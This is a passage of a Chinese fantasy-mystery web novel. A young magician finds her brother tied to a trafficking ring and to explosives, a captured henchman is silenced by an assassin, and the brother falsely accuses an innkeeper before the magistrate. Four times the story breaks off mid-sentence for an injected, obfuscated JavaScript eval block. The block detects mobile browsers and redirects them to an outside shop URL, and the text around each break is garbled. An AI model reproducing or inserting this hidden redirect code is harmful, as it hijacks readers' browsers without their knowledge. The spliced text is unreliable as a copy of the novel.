两人客套几句,也算了解大概情况,莫筱初见两人客客气气,许澜也并未太排斥邱田恬,于是放心向许澜说道:“许澜姐,我还有一事想麻烦你。” “邱姑娘天赋不错,但一直没有系统性学习过魔法,你看能否教她一招两式?” “天赋不错?”许澜听到这话不禁挑眉,能被莫筱初说天赋不错,那怕是真有两把刷子,也是欣然答应:“当然没问题。” 稍远处,明火已经几乎消失,只剩下滚滚黑烟还在上窜。这驿站已经烧了半晌,潜火队灭完明火,只剩下一些黢黑的废墟。 邱田恬想起两人刚刚看见的地下室,那里是爆炸的起点,怕是什么都不会留下。 为首的潜火兵向几人走来,询问道:“刚刚是你们报的火警吗?” 他话音刚落,就看见许澜腰上挂着的甲字木牌,赶紧躬身行礼:“原来是大人,有失远迎。” 许澜摆摆手:“无事,我不是因为公务来此,不必如此恭敬。” 看潜火兵突然转变的态度,邱田恬也是惊讶,魔法师在这里的地位居然如此之高吗? “刚好,我和我的朋友打算进城,你们方便的话,捎我们一程。”许澜接着说,眼神示意自己旁边的一男一女。她刚还说莫筱初那套没用,该帮还是帮了。 果然,潜火兵很热情,把几人迎上车,随后直接驾车进入城门——根本没人查证件! 还是有权好啊。邱田恬感慨,等安定下来,自己或许也该去考个什么魔法师证,行动会方便许多。至于身份文牒……嗯,想办法找个做假证的吧。 想到这,邱田恬又开始头疼,本来到了渠京,她就该着手去做这些事,结果因为合乐的出现,节奏完全被打乱,还多了不少破事。 她不知道莫筱初如何想,但事已至此,邱田恬觉得把情报共享给许澜这个有权人,自己和他赶紧跑路,才是正确选择。 至于合乐……到现在,也不知道那小姑娘自己跑哪去了。 …… 半个时辰前,合乐已经走出地道。 她身高矮,在地道里的速度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156307|196555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也比莫筱初和邱田恬快很多,走到一半时她听到了两人喊她的声音,但事已至此,合乐已经不想再与他们产生牵连。 莫筱初是不是通缉犯也不重要了,她只想找到自己仅剩的家人。 在漆黑地道里跑了一盏茶的时间后,合乐找到了出口。那出口在头顶,有个石头做的盖子,她费了好大一番力气把那块石头盖子推开后,小心翼翼地探出脑袋。 映入眼帘的,却全是熟悉的布局。 破破烂烂的墙壁,满是灰尘的泥土地面,靠墙摆着的坛子是腌酸菜的,另一边的木头是手推车散架后劈了准备当柴烧的。而自己刚刚推开的石头上满是斧头砍下的白痕,这是哥哥一般用来劈柴的石桩子。 这里,是余家的杂物间,是合乐从小长大的地方! 合乐顿感手脚发麻,心跳骤然升高,背后全是冷汗——为什么,为什么地道的出口会是她的家里,自己五年前离开时绝对没有这种地方! 她略显狼狈地爬出来,身体摇摇晃晃,几次尝试站起来都又摔下去,身体撞倒了旁边的柴火堆,一抹刺眼的红色出现。 垒成半人高的柴堆下面,有个红色的大箱子,那也是合乐完全没见过的东西。 她扶着箱子站定,胡乱拨开箱子上的木头,用魔法打开铁锁,用力将盖子推开! 只见偌大的箱子里,满是白花花的银子。 合乐脑中响起“轰”的一声——钱,哪来的钱?自己的家里为什么会有这么多钱!是,这几年自己向家里寄过不少钱,但那都是通行的纸币,她从未往回寄过银子,更何况是这么多银子! 她无法想象,哥哥干了什么才会有这么多钱。而且既然有了钱,为什么不改善生活,为什么家里还在用那些破烂家具,米缸里还是生虫的糙米? 合乐不敢相信,但根据自己在天都的见识,突然暴富但不敢用的钱,全都来路不正。 门口,突然传来脚步声,合乐浑身一震,手中攥紧空痕笔,随时准备施法。 很快,门扉在吱呀声下打开,进来的人,却是合乐已经寻找多日的面庞。 余合安比合乐记忆中更加沧桑,他瘦了,脸上颧骨突出,满是胡茬,头发也好似许久没有打理,穿着一身脏污的粗布麻衣,身上有股难闻的汗味。 “哥!” 合乐看见他,豆大的泪珠不受控制地流出。她也不在乎哥哥身上的污渍和气味,猛地扑进他的怀里,哭喊道: “哥,你这几天去哪了!你知不知道我找你找了很久……” 她说着,这几日受的委屈全在见到亲人的此刻倾斜出来,眼泪愈发不止,很快浸湿余合安胸前的粗布。 余合安浑身僵硬,他没料到合乐居然会出现在这。五年未见,小姑娘几乎要长成他不认识的样子,身高高了,头发剪短了,皮肤也白皙不少……但终究是他唯一的妹妹,最爱的妹妹。他放下手里的东西,想要摸摸妹妹的头发,却又看到自己手中的污渍,终究还是没抬上去。 “你……”他开口,声音是自己都没想到的沙哑,“怎么会在这里?” 他刚说完,抬头就看见那块已经被移开的石桩,还有旁边被打开的红木箱,瞳孔骤缩:“乐乐……你都看见了吗?” 合乐抹着眼泪和鼻涕,一边抽噎一边焦急道:“看见了,这到底是哪来的钱,你这几年到底做了什么!?” “我……”余合安语塞,他不知该如何开口,妹妹前途一片光明,自己却深陷泥沼。 但不必他多说,合乐的注意力已经转移到刚刚被余合安放下的几个布包上,布包四四方方,码放整齐,还有一条延伸出的长引线,散发着浓郁的火药味。 “这是什么!?”合乐顾不上继续哭泣,赶紧想拉着余合安远离布包:“这是炸药吗!哥,你为什么会拿着炸药!?” 此言一出,余合安浑身如筛般颤抖,他双手扶着合乐的肩膀,缓缓跪下:“对不起,乐乐,对不起……” “我知道你昨晚在旌云楼住了一晚,你去告诉他们,赶紧跑吧。” 他的声音也带上哭腔: “那群人在地道埋了炸药,一旦引爆,整个旌云楼都会倒塌!” 11. 自首 潜火兵把三人送进城门后就停下了。现在正是晌午,街道上满是行人和马车,铁皮灭火车没有车道行驶,只能送几人到此处。 只是莫筱初现在不好回去,他进入地道时并没有带斗笠,现在大摇大摆上街,怕是会被认出来。刚刚那潜火兵已经瞥了莫筱初许多眼,估计是迫于许澜这个甲级魔法师的威信,最终也没开口。 无奈之下,只能许澜和邱田恬先返回旌云楼,莫筱初绕个圈子,从小路绕回。 一边走,邱田恬一边在脑中复盘这两天发生的事。 她还记得刚刚在驿站地下室看见的场景,毫无疑问,那是个关人的牢房。再加上自己昨晚看见箱子里探出的那只手,以及许澜所说的遭遇,邱田恬几乎可以确定,那应该是一伙人贩子。 他们在渠京城内绑人,通过旌云楼后院的水井把人运出城,在驿站里暂时安置,之后统一转运。 昨天晚上,他们在后院和合乐大打出手,估计被这伙人贩子看到了。想来昨晚从自己看到后院异常到发现合乐,也不过十几分钟的时间,那伙人贩子怕不是刚把箱子运入井中,还未走远,就听见了井上的打斗声。所以人贩子们连夜转移关押在驿站的“货物”,动静吵醒许澜,他们碍于许澜的魔法师身份,不敢明着对她动手,只能下药。 今早,莫筱初下井探查,结果打草惊蛇,让那伙人进一步加快行动,打算直接炸毁所有线索。 想到这,邱田恬突然愣住。莫筱初今早在地道里撞见了合乐口中的那个“阿生”,假设这个阿生也是人贩子团伙中的一员,应该也会在慌忙摧毁证据中,为什么会进入地道? 地道,驿站,地下室——炸药。 那群人要炸毁证据,不可能只炸毁那个客栈!作为运输通道的水井地道,肯定也在炸毁目标内! …… 与此同时,旌云楼。 合乐已经跑着赶到此地,旌云楼周围一片宁静,大门紧锁,完全没有即将遭遇不测的氛围。 “大叔!”她直接从后院的墙上翻过,看见云叔正完好无损地坐在井边,松了口气,赶紧说道:“大叔,你快离开这里吧!” 云叔见合乐突然从外面翻入,还被吓了一跳:“你这小娃娃怎么从那进来了!你刚刚不是下井了吗?” 合乐满脸焦急:“你先别管这些,先离开这!” 她说着,伸手扯住云叔袖口,想把他拉走,但云叔却纹丝不动,只是开口问道:“你倒是把话说清楚了,那底下到底还有什么,为什么又突然叫我离开?” “是因为……”合乐刚想说,却又顿住。 她该怎么说?说地道里被安了炸药,随时可能会爆炸,那云叔肯定会问,她怎么知道?她总不能把余合安供出来,那是她唯一的亲人,不论如何她都不能让哥哥出事。合乐知道,余合安肯定做了不好的事,但她已无心追究。她只想和家人好好生活下去,至于其他的,她早已顾及不暇。 俗话说,好言难劝该死的鬼,既然云叔不听劝,那她也不必强求。 合乐咬着牙,声音有点颤抖:“话我已经带到了,离不离开,是大叔自己的选择。” 她转过身:“我要先走了。” 云叔满脸疑问,伸手要留她:“你等等,你不找你哥了吗……” 话音未落,后院木门猛地传来一声重物击打的声音,随后只见那破木门被直接砸开,一个四肢粗短的男人突然跌入,翻滚几米后才堪堪停下,痛苦地捂住腹部,倒地不起。 男人的左手臂上,有一道横跨小臂的褐色疤痕! “阿生!?”合乐一眼就认出这人。 但还未等那倒地的男人说话,门口,莫筱初一脸阴沉地走入,他脚步很重,身上带着从未展现过的低气压,黑色的衣摆随风而起,犹如地狱阎罗。 他走近,抬脚踩在阿生胸口,狠狠辗轧,阿生顿时发出杀猪般地惨叫。而莫筱初的眼睛并未看他,而是一直盯着面前的合乐。 合乐这才注意到,莫筱初的手上拎着什么东西,定睛一看,也是捆绑整齐的四方布包,和余合安刚刚携带的炸药包一模一样。 莫筱初把炸药包提高,端放在合乐眼前:“说,你到底知道什么?” 合乐被他这幅样子逼退几步,冷汗顺着脖颈流下,只得强装镇定道:“我、我什么都不知道啊,倒是你,你在说什么……” “啊啊啊啊啊啊!!!”没等她说完,莫筱初一用力,脚下的男人又一声惨叫,求饶道:“大侠,大侠饶命啊!!!都是那余合安指使我们干的!小的就是个打杂的!” “闭嘴。”莫筱初厌烦道,干脆直接抬脚踩住那人的脸,把他的惨叫都堵入喉咙中,“合乐,你也听到他刚说的了。你刚刚对云叔说的那些,我也听到了。” 莫筱初接着冷言道:“这人刚刚在门外鬼鬼祟祟,刚好被我撞见,我凑近才发现,他在后院墙外安放炸药。” “而你,合乐,你是踩着他的背翻进来的。” 说话间,云叔早已反应过来,拿着绳子把阿生的双手反绑,并且从莫筱初手中接过那包炸药,妥善保管。而莫筱初脸上沉重的表情却丝毫未减:“解释一下吧,还是说,你想试试是我的刀快,还是你的魔法快?” “我……”合乐支支吾吾,不知如何是好,反而恰好此时,后院大门口又探出两个身影。 “哟,小楚,你居然比我们快。”许澜带着邱田恬正说笑着进入,却马上看见院内的场景,顿时饶有兴趣地眯起眼睛,嘴角笑意不减,“这不是合乐吗?原来,他们之前说的魔法师小姑娘,是你啊。” 合乐看见她,浑身一僵:“许澜老师……我……” 怎么都是熟人啊喂!跟在许澜身后的邱田恬忍不住内心吐槽,本以为合乐好歹是个陌生人,怎么又和这个许澜认识。 邱田恬着实尴尬,这个熟人局里只有她一个外人,多少有些格格不入,连个插话的机会都没有,自己果然不擅长和这么多人打交道。 此时,许澜已经走上前,伸手揉揉合乐的头发。她当然认识这小姑娘,天都近五年培育计划中的优秀苗子,上课的时候总是很积极,是老师眼中标准的好学生。 “乖,告诉老师。”许澜语气温和,循循善诱,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156308|196555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇到什么事了?” 合乐刚刚才哭完,有些红肿的眼睛马上又要掉眼泪,她声音颤抖:“我说,我都说,老师,求你救救我哥。” 在许澜的安抚下,她终于开口。说了自己通过地道结果到达自己家里,震惊之余又碰见失踪的哥哥余合安,拿着炸药要炸掉房子。哥哥告诉她旌云楼也有炸药的事,所以合乐急忙赶来,却在路中遇到阿生。 阿生告诉她,余合安做了犯法的事,绝对不能被抓住,不然一定会被判处死刑。合乐作为家属,也一定会收到牵连,怕是保不住魔法师证。如果想保住哥哥的姓名和自己的前途,那就什么都不要管。 合乐觉得他说的有道理,但又不想真的害了无辜,所以还是决定提醒云叔两句。 “我、我真的不知道他们干了什么。”合乐压抑着哭声道:“我只想救我哥哥,求你了许老师,帮我救救他……” “好,好。老师会帮你的,先不哭了,我们一起想办法。”许澜一边语气柔和地安抚她,一边锐眼抬眸看向莫筱初,莫筱初心领神会,拽起绑着阿生的绳子,不顾这人的尖叫,拉着他一起跳入井中。 莫筱初需要去排查地道内的炸药。 而邱田恬只觉得心累,她靠在稍远处的檐柱上,双手揉捏太阳穴。她难以想象,合乐好歹也十五岁了,怎会如此好骗,那阿生口中说的话又能有几分可信。 不一会,莫筱初带着阿生从井中爬出,看向邱田恬,摇头道:“井里没有炸药。” 果然如此。这个答案并不出乎邱田恬的预料,她刚刚悄悄和莫筱初提过,那群人不会在地道内设置炸药,因为那样会坍塌的不止旌云楼一栋建筑。而这种程度的破坏,肯定会引起官府的重度关注,反而阻碍他们转移阵地。 所以阿生才会拿着炸药包自己摸到后院,他们想要引爆的只有井口而已。 确定没有炸药后,众人都松了口气。莫筱初把阿生交给许澜:“接下来麻烦你了。” “好。”许澜点点头,对着合乐说道:“带我去见你哥哥,劝他自首,争取宽大处理。” 合乐很信任许澜,犹豫片刻后,还是点头道:“好,我带你们去找他。” …… 六月二十三日,渠京城,通天塔。 通天塔并非普通的木石制成,而是塔身七层,总高六丈有余,在整个渠京城中鹤立鸡群。层层飞檐翘角,每层都镶嵌着巨大的琉璃窗,于阳光的照射下折射出五彩光晕。通天塔前人声鼎沸,往来之客络绎不绝,好一幅热闹的场景。 通天塔右侧,还有一稍矮的建筑,建筑外墙红漆脱落,看上去稍许破败,但牌匾却十分崭新,黑底金字,上书“渠京府衙”,威严无比。 府衙今天接到潜火队的消息,说城郊有一驿站莫名起火,根据路人所言,系发生有预谋的爆炸,现在还在检查废墟。 除此之外,渠京城内并无大事,府衙也乐得清闲。 而此时,正值晌午,一身材高瘦的男人于门前站定。 他大声喊道,引来过路人纷纷侧目—— “草民余合安,来此自首!” 12. 逮捕 新政以后,渠京府衙已经许久没有如此热闹过了。 那布衣草民跪在门口,在全渠京最繁忙的通天塔前,大声喊着“我要自首”,顷刻就聚集了一堆围观群众。 现场无比嘈杂,大家手里活也不干了,围成一圈对着那人指指点点,后排的人跳的老高,瞪着眼睛往里看。 几个衙役赶紧出来,一句话没问,先把余合安押进大门,又赶紧驱赶群众。 “别看了!别看了啊!散了散了!” 衙役拿着长棍,一点点把人往外推,清出门前空地,随后毫不犹豫地关上大门,那大喊自首的怪人也被掩盖其中。人群聚集一会发现听不见声响,觉得无趣,很快散开。 但这热闹的一幕,却很快口口相传出去。 “刚那人谁啊,犯什么事了?” “看他穿的穷酸样,是不是偷东西了啊?” “诶,我见过那人,是个干苦工的,家在城西那边。” “你这一说我想起来了,几年前天都来渠京挑选魔法师,那个被选中的小姑娘,是不是就是刚那人的妹妹?” “刚那人是哪人!?” 路人琐碎的闲谈如蛇一般窜入合乐的耳朵,她猛地拦住手上拎着菜篮的两位大姐,焦急道:“你们在聊什么,发生什么事了?” 大姐们一愣,很快答道:“府衙门口有人自首哩,不知道犯了什么法。” 合乐听到这话,浑身僵住,任那两路人从她身侧走过。一旁,许澜也听到几人对话。她刚与合乐说通道理,准备一起去余家劝余合安自首归案,争取宽大处理,但现在听来,余合安居然已经自己去了。 “这是好事。”许澜轻扶合乐的肩膀,带着她继续往前走:“既然如此,我们直接去府衙吧,刚好顺路。” 合乐走着,脚步却有些虚浮,她握住许澜的手:“老师,哥哥会没事的,是吗?” “会没事的。” 两人出发时,已经与邱田恬和莫筱初分开。她们原计划带余合安去府衙,自然不能让莫筱初同行。而留在旌云楼的邱田恬与莫筱初,自然也有其他事干。 “说,你们到底在干什么勾当?” 莫筱初毫不手软,利刃擦着阿生的耳边钉入地面。可惜云叔这没有鞭子,不然他早能让阿生皮开肉绽。 邱田恬对这种审讯戏码毫无兴趣,刚刚许澜离开时,给她留下一本册子,记录了一些入门简单魔法,邱田恬要了纸笔,正坐在一旁尝试学习。 但耳边,源源不断传来阿生聒噪的求饶。 “别,别杀我!!”阿生的声音和身体一样抖如筛糠,“少侠,我什么都不知道啊!” “胡言乱语。”莫筱初声色俱厉,“早点交代,我还能把你扭送官府,不然别怪刀剑无眼。” 眼见那刀锋更近脖颈,阿生也是急了,他大喊道:“你不能杀我!我上面有人,你要杀了我,上面人不会放过你的!” 莫筱初动作果然一顿:“上面有人?是谁?” 阿生瞬间噤声,似乎意识到自己说漏了嘴,但很快,他重新威胁道:“是你们这群草民想象不到的大人物!你要是有点眼色就放了我,我在大人面前美颜几句,还能赏你半辈子富贵。” 旁听的邱田恬不禁汗颜,这话骗鬼都骗不过去吧。 莫筱初快被气笑了,他一把将阿生拉起来,抵在墙上,手中刀柄上的莫字玉佩在他眼前摇晃。 这下,阿生也终于看清眼前人的样貌。 莫筱初嘴角挂着冷笑:“我倒真想听听,你口中的大人物到底有多大。” “你……你……” 阿生“你”个半天,愣是再没蹦出一个词,又开始重复哭嚎:“少侠饶命啊!我没看见,我什么都没看见!我不会把你说出去的!咱们都是同道中人,何必互相为难啊!” 邱田恬实在坐不住了,她走过来,直言道:“聒噪,我教你个法子。” 她拿出怀中的匕首,抽出刀刃,比划向这男人的□□,又突然抬眉看向莫筱初:“你觉得,从这里下手怎么样?” 莫筱初不禁双腿一颤,脚下踉跄后退,尴尬道:“姑娘若是有法子,尽管尝试。”说完,他侧过头,不忍再看。 这下,阿生尖叫声更大,那女人握着的刀直直抵在他命根子上,而这女人满脸阴冷,看上去定能下手! 邱田恬刀握得紧,却没真打算割下去,她嫌脏,但回忆一下自己以前看过的医学科普视频,吓吓这人还是绰绰有余。 于是她放低声音道:“你知道吗?我这刀可利了,从这里进去,先割开……” 她身后的莫筱初越听越发毛,忙不迭又退几步,直退到云叔身边,听不清邱田恬的声音,才松了口气。 云叔倒乐得不行:“你找的这女娃倒是有趣,你以后可别惹她。” 莫筱初只感觉身上发冷,不自觉摸摸手臂:“一定。” 眼前,邱田恬每说一句,阿生的脸色就又惨白一分,那刀也越靠越紧,已经划开脆弱的布料。 “再把伤口缝合上,你就是彻底不男不女了。然后我们再拔了你的舌头,把你送去……噫,真恶心!” 阿生居然直接被吓尿了,骚臭的液体从裤缝中渗出,邱田恬赶紧嫌弃地举刀,眼见就要下刺,不耐烦道:“看来你是真不想要这管不住的家伙了,反正你也不说,不如拿来让我们玩玩!” “不要啊!!!”阿生彻底崩溃了,他双手双脚都被绑住,就以一个别扭滑稽的姿势跪在地上朝着邱田恬磕头,“我说,我都说!我上面的人是渠京府……” “噗。” 一声轻响,阿生的坦白戛然而止。 他的太阳穴上骤然出现一道针尖大小的血洞,细小的血流蜿蜒而下,流过他固定在脸上的恐惧。 “什……”邱田恬心如擂鼓,面前的阿生就这样倏地栽倒下去,死不瞑目。莫筱初和云叔也皆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156309|196555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一愣,随后莫筱初很快看到,几十米外的房顶上,站着一个黑衣人。 不等其他人反应,莫筱初已经如箭蹿出,三两步就翻上房顶,朝着那人追去。那黑衣人也反应极快,几秒之间已经逃出不少距离,回身一挥手,数支肉眼难见的细针朝着莫筱初飞袭。莫筱初抽刀格挡,细针撞在刀刃上发出清脆的声响,居然全被挡了下来! 那黑衣人似乎也不料莫筱初身手超凡,见飞针暗器无用,只得转身飞出一把飞镖。莫筱初尚未察觉异常,还打算用先前的招式挡下,那飞镖却在靠近他眼前时突然爆开!石灰粉瞬间形成一个白色雾团,直接侵入莫筱初的眼睛! 他闷哼一声,赶紧闭眼,但仍有少量粉尘进入眼睛,顿时泪流不止,脚步也不得不顿住。半晌,莫筱初勉强睁开被刺激得通红的眼睛后,面前早已空无一人。 无奈之下,莫筱初只能先返回。他重新落回旌云楼后院,慌忙向后厨走去:“云叔,帮我拿点水,那人朝我扔了生石灰。” 闻言,云叔连忙取水,帮莫筱初冲洗眼睛,邱田恬也略显担忧地跟去,好在莫筱初闭眼及时,此时双眼只是出现许多血丝,并没有影响视力。 稍缓片刻后,莫筱初才扶着水盆说道:“那人身手不凡,轻功可能比我还好,而且手段很毒辣。” 他一边说,一边从袖口处抽出一支细针,那是他刚刚格挡时顺手收下的,那针通体银白,跟绣花针一般粗细:“阿生肯定也是被这种暗器杀的。” “那人身手这么好?”邱田恬在一旁思考,她本以为莫筱初已经属于“武林高手”,但现在看来人外有人天外有天,这个科技树神奇的世界,厉害的不止魔法。 阿生被俘不过一个时辰,暗杀居然来的这么快,而且刚好在阿生即将说出幕后黑手的时候……邱田恬越想越觉得不对劲,如果那黑衣人目的就是灭口,那目标肯定不止阿生一个人! 她迅速和二人说明自己的推测:“合乐她哥哥也是知情人,那黑衣人杀了阿生,肯定还要杀合乐哥哥!” 然而现在,合乐和许澜一起,估计已经到了府衙,邱田恬和莫筱初又断然不能靠近那边。 云叔心领神会:“我知道,我去找他们。放心,许澜在那,出不了什么事。” 他话音刚落,门口突然传来粗暴的敲门声,“咚咚咚”的响声似是要直接把门撞开一样。这突如其来的“访客”想必来者不善,云叔让邱田恬和莫筱初在后厨藏好,自己前去开门。 大门打开,阳光倾洒而下,门前的人却各个人高马大,手里拿着长棍,身着藏蓝色的制服,胸口绣着大大的“衙”字。 为首之人歘地展开卷轴,上面朱砂红字写着明晃晃的“拘捕令”三字,刺得人双眼生疼。 衙役威武开口:“旌云楼老板,许云峰,你涉嫌人口买卖和杀人案。” 他身后的辅衙上前,从身后取出镣铐,步步逼近。 “你被捕了。” 13. “证据” 渠京府衙,高堂之上,已有所正在坐。 值班的巡差本以为这草民不过是小偷小摸,寻思打几大板就扔出去,但这草民开口就是命案,吓得巡差赶紧上报所正,把草民压在大堂内等候审问。 渠京府衙本是掌管渠京行政与司法的部门,通天塔建造完成后,为了收发文件方便,行政部门搬入通天塔内部,只有司法署留在旧址、也就是现在这个小院之中。 渠京司法署最高级掌管名为分司使,直属于中央司法部,分司使之下就是所正,负责总管日常的巡逻、侦查等事物。 按理来说,余合乐所言定为重案,理应报分司使,但渠京分司使这几日正在天都总部进行述职,所以在场的最高官只剩所正一人。渠京现任所正名为袁介,祖上都是农民,袁介二十多岁时撞上新政科举改革,又走了狗屎运,居然一次考中,随后被分来渠京做巡差,现在快十年过去,也爬上所正的位置。 袁所正对外一直是刚正不阿的好官,断案赏罚分明,深得人心,百姓都说等老分司使退休,袁所正就是下一任分司使。 所以今天这案,也当公正去办。 堂下,余合安已经被带上木枷,跪在那里,已经交代大半:“这贩卖人口的事我们从三年前开始做,我和旌云楼老板串通,用他后院的水井作当地道,往外偷偷运人,这些年没有几百,也有几十了。” 他眼睛略微左瞥,身体轻颤,像是无比害怕:“小的已经知道错了,想要金盆洗手,带着钱好好过日子,但他却不愿停手,还威胁我,要是我敢退伙就要杀我!我太害怕,躲去城外的驿站,那人却直接在驿站引爆炸药!大人,小的实在是太害怕了,才来认罪啊!只希望大人好歹保我一条性命!” 旌云楼,袁所正心中默念这个名字,这酒楼在府衙这倒是有点名气,生意差得要死,却这样苟延残喘快十年,那老板也不知是哪来的钱,今天余合安这番话,倒是足够解惑。 袁所正当即下令——抓人。 许澜拿着魔法师令牌进入府衙时,余合安已经把该交代的都说了,抓人的衙役早已离开半晌。袁所正见有甲级魔法师驾到,赶紧出去迎接,却被许澜当头棒喝,要见被押入监牢的余合安,顿时犯了难。 甲级魔法师的地位固然高,都是国家宝贵的人才,他们这种小官不敢怠慢。但毕竟职权相异,司法署的案子不好直接透露给魔法师,只能委婉地和许澜说明难处,希望理解。 看在合乐本身也是魔法师,又是案犯家属的份上,袁所正只同意让两人稍见一面,而许澜需要在外等候。等候时,许澜旁敲侧击地聊着,问袁所正刚刚审讯的情况,余合安到底交代了什么。袁所正可谓是义愤填膺,直言道那旌云楼老板看着老实,实际上却是这惊天大案的主谋,藏得多好,骗过多少人…… 许澜面无表情地听着他口中各种罄竹难书的罪行,扶额。 许澜:“旌云楼老板,许云峰,是我父亲。” “……?” “你刚说他哪来的那么多钱,是我寄给他的。” 看着袁所正僵硬的面孔,许澜倒突然灿烂一笑:“这下我也是案犯家属了,跟我详细聊聊吧。” 不多时,许云峰、也就是云叔,被押送到府衙,和站在门口等他的许澜面面相觑。 两人似乎都是无语极了,本来气势汹汹准备审问的袁所正在知道许云峰是国家甲级魔法师的亲属后,也卸了半边气,赶紧让人先把镣铐解开,又给云叔拿了个椅子,让他坐着聊。 不得不说,现在这世道,家里有背景比什么都强。 讯问倒也简单,云叔自然一问三不知,只提到自己昨夜决定后院有动静,便去看看,结果与合乐相遇。至于莫筱初和邱田恬这两人的存在自然不能说,所以云叔有些地方略显支支吾吾。 许澜无奈,这人还是这么不擅长说谎。而袁所正的表情愈发精彩,他皱着眉尬笑,云叔这说辞实在不足以摆脱嫌疑,但他这个身份……确实不能做余合安所言之事。 事已至此,只能重新提审余合安。 不知余合安在狱中和合乐说了什么,合乐出来的时候早已哭成泪人,拿着许澜给她的手帕痛哭,许澜见这孩子确实崩溃,先把她安抚在一旁,又差遣衙役帮忙倒水,衙役心里不悦,又不敢怠慢。 半晌后,为避免再刺激合乐,提审只能避着她进行。 “啪”地一声,袁所正怒拍堂木于案上:“余合安,你为何作伪证!?” 余合安面色惊恐:“小的没有啊,哪敢做伪证啊!” “人旌云楼老板根本不知此事,我劝你速说真话,免受刑讯之苦。” “那地道我们已经使用这么多年了,就在旌云楼的后院里,明晃晃的,他又不瞎,怎可能不知情!?” “……” 这话倒是有理。 云叔心虚地摸摸鼻头,他也觉得神奇,自己偏偏就是这么多年没发现。 “大人要是不信,小的还有证据!” 此话一出,袁所正心中一喜:“你有何证据?速速呈上来!” 余合安磕头:“这证据在我家里,我可以带大人回家去取,但希望大人可以解开我手上的枷锁。” “荒唐,这怎……”袁所正刚要拒绝,门口却跑进来一小吏,递上去一个信封。袁所正展信片刻,话锋突然一转:“那就依了你,速带我们去寻找证据。” 衙役速度极快,解开余合安身上的木枷,一左一右押着他出去,斩断他逃跑的可能。许澜和云叔刚要跟上去,却被袁所正拦住:“许大人,司法署办案,您怕是不方便一直跟着。” “有何不便?”许澜依旧气势逼人,“袁所正,该案子涉及到的犯人,可是两个魔法师的亲属,我相信袁所正拿得稳大局观。” 刚刚袁所正态度突然转变,和那封信撇不开关系,里面是什么内容暂不可知,但许澜觉得断然不简单。 听许澜说得有理,袁所正只能默许他们同行,刚走出正堂大门,就见合乐已经等在那里,屋内的审讯怕是也听了大半。 许澜无奈叹气:“不是让你在侧房好好等着吗?” 小姑娘还是倔得要命:“我要跟着!” 一行人走出府衙,路上不少人侧目,皆认出被押在中间那人,便是午时自首那人,议论声又起,叽叽喳喳地伴随众人走去城西。 早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156310|196555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在附近小巷等候的邱田恬和莫筱初,也混入围观人群,神不知鬼不觉地跟上队伍步伐。 莫筱初重新戴上斗笠,遮住半边面容。邱田恬穿着红衣,大大方方走在他靠前侧。这下,两人倒像是游街散玩的大小姐和黑衣护卫,在人群中也不显得突兀。 远远看去,被押送的只有余合安,云叔跟个没事人一样走在旁边,两人倒是松一口气。 “看来云叔那无碍,不会被诬陷就好。”莫筱初低声道。 “事情没你想的那么简单。” 邱田恬看得想得都要更多,她继续说道:“余合安若是上面没人,不可能诬告云叔。” “上面?你是说刚刚派杀手来的人?” “对。” 邱田恬应道:“阿生刚被你抓的时候,求饶说都是余合安指使他的,但这两人之间,明显阿生才是主导者。余合安突然自首,又诬告云叔,这是想转移视线。” “但他们算漏一个变数,那就是许澜和合乐,她们都是魔法师,有极高的社会地位,尤其是许澜这个甲级,所以云叔的嫌疑很快解开。” 莫筱初被绕了进去,只能听个一知半解:“总之云叔没事就好了,诶,你别太靠近,别被他们注意到了。” “你这人……”邱田恬想揪着他耳朵骂他天真,但想想过于冒犯,还是先忍住了:“那个杀手肯定也要杀余合安,不能让他说出上面的人。而余合安本身可能也被安排了‘剧本’,不知道他会如何行动。” 要邱田恬决定的话,她会选择现在就跑路,这一天漫长的像一个月,经历了太多事情。她不关心别人的命运,只怕引火烧身,现在被卷入其中,却不可避地开始为他人担心…… 这让邱田恬有些难以言喻地恐慌。 似乎是发现邱田恬脸色不好,莫筱初宽慰她道:“放心,不会有什么事的,许澜姐在。” 